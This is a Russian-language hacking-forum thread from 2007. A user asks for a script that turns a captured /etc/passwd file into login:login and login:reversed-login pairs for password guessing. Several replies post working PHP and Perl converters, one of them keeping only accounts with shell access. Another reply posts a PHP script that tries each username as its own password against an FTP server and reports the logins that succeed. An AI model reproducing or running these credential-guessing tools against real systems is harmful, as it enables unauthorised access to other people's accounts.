/etc/passwd (login:login) convert

Discussion in 'PHP' started by guest3297, 25 Jan 2007.

Thread Status:
Not open for further replies.
  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    нужен скрипт который преобразует /etc/passwd в список вида login:login b login:ingol

    +7 c меня.
     
    2 people like this.
  2. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    PHP:
    <?php 
    $handle 
    fopen ("passwords.txt""r"); 
    while (!
    feof ($handle)) { 
        
    $buffer fgets($handle4096); 
        
    $reverse=strrev($buffer);
        echo 
    "".$buffer.":".$buffer." b ".$buffer.":".$reverse." <br>";

    fclose ($handle); 
    ?>
    пробуй, на большее я сейчас не способен
     
    #2 Thanat0z, 25 Jan 2007
    Last edited: 25 Jan 2007
  3. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Вот :

    Code:
    #!/usr/bin/perl 
    $in=$ARGV[0]; 
    $out=$ARGV[1]; ## определим параметры скрипта 
    exit print "Use $0 $in $out\n" unless ($out); 
    open(IN, "$in"); 
    open(OUT, ">out"); 
    while(<IN>){ 
    chomp; 
    if (~/sh$/){ ## запишем только валидные аккаунты 
    ($u,@udef)=split ":"; 
    print OUT "$u:$u\n"; ## В виде пары login:login 
    } 
    } 
    close(IN); 
    close(OUT);
     
    2 people like this.
  4. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    PHP:
    <?php 
    $fo
    =fopen ("users.txt""r"); 
    $fr=fopen ("resalt.txt""w"); 
    while (!
    feof($fo)) 
      { 
        
    $c=rtrim(fgets($fo)); 
        
    $rez=split(':',$c);
        
    $rez[1]=strrev($rez[1]);
       
    fwrite($fr,$rez[0].':'.$rez[1]."\n");

    fclose ($fo); 
    fclose ($fr); 
    ?> 
     
  5. zombiexe

    zombiexe Elder - Старейшина

    Joined:
    1 Nov 2006
    Messages:
    15
    Likes Received:
    9
    Reputations:
    10
    Code:
    #!/usr/bin/perl
    
    open(IN,"pwd.txt");
    open(OUT,">pwds");
    while(<IN>){ 
    chomp;
    if($_ ne ''){ 
    ($u,@undef)=split ':';
    print OUT "$u:$u\n";
    }
    }
    close(IN);
    close(OUT);
    
     
    #5 zombiexe, 25 Jan 2007
    Last edited: 25 Jan 2007
  6. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,362
    Likes Received:
    1,157
    Reputations:
    430
    Вот чего-то нашёл...
    PHP:
    <?php
    $filename
    ="passwd"// passwd file
    $ftp_server="localhost"// FTP-server

    echo "FTP-server: <b>$ftp_server</b> <br><br>";

    $fp fopen ($filename"r");
    if (
    $fp)
    {
    while (!
    feof ($fp)) {
    $buf fgets($fp100);
    ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
    $ftp_user_name=$g[1];
    $ftp_user_pass=$g[1];
    $conn_id=ftp_connect($ftp_server);
    $login_result=@ftp_login($conn_id$ftp_user_name$ftp_user_pass);

    if ((
    $conn_id) && ($login_result)) {
    echo 
    "<b>Connected with login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
    ftp_close($conn_id);}
    else {
    echo 
    $ftp_user_name." - error<br>";
    }
    }}

    ?>
     
    1 person likes this.
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Че теперь каждый выпендрится чтоли своим кодом? =)
     
  8. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    закрыто.
     
Thread Status:
Not open for further replies.